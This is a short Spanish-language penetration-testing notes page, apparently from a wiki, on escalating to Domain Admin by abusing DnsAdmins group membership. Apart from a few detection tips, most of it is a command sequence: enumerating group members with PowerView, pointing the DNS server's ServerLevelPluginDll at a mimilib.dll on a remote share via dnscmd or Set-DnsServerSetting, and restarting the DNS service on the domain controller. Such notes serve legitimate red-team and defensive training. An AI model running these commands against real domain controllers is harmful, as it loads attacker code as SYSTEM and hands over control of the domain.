PE - DNSAdmin

Escalada de Privilegios a través de DNSAdmin

Los usuarios que son miembros del grupo 'DnsAdmins' tienen la capacidad de abusar de una característica del protocolo de gestión de DNS de Microsoft para hacer que el servidor DNS cargue cualquier DLL especificada. El servicio que a su vez ejecuta la DLL se realiza en el contexto de SYSTEM y podría utilizarse en un Controlador de Dominio (desde donde se ejecuta normalmente el DNS) para obtener privilegios de Administrador de Dominio.

Para identificarlo:

  • Monitoriza los procesos hijos generados bajo DNS.exe en los servidores DNS.

  • Audita ACL para el privilegio de escritura en el objeto del servidor DNS y la pertenencia al grupo DNSAdmins

  • Supervisa los registros de eventos para el ID 150 [fail] y el ID 770 [success].

  • Lista los miembros con DNSAdmins (PowerView)

Get-NetGroupMember -Identity "DNSAdmins"

Una vez sabemos los miembros de este grupo, debemos comprometerlos.

Con los privilegios de los miembros de DNSADmins se configura una DLL usando dnscmd.exe (requiere RSAT DNS):

dnscmd dcorp-dc /config /serverlevelplugindll \\IP_Maquina_Remota\dll\mimilib.dll

Usamos el módulo DNSServer:

$dnsettings = Get-DnsServerSetting -ComputerName dcorp-dc -Verbose -All
$dnsettings.ServerLevelPluginDll ="\\172.16.50.100\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName dcorp-dc -Verbose

Reiniciamos el servicio DNS

sc \\dcorp-dc stop dns
sc \\dcorp-dc start dns

Last updated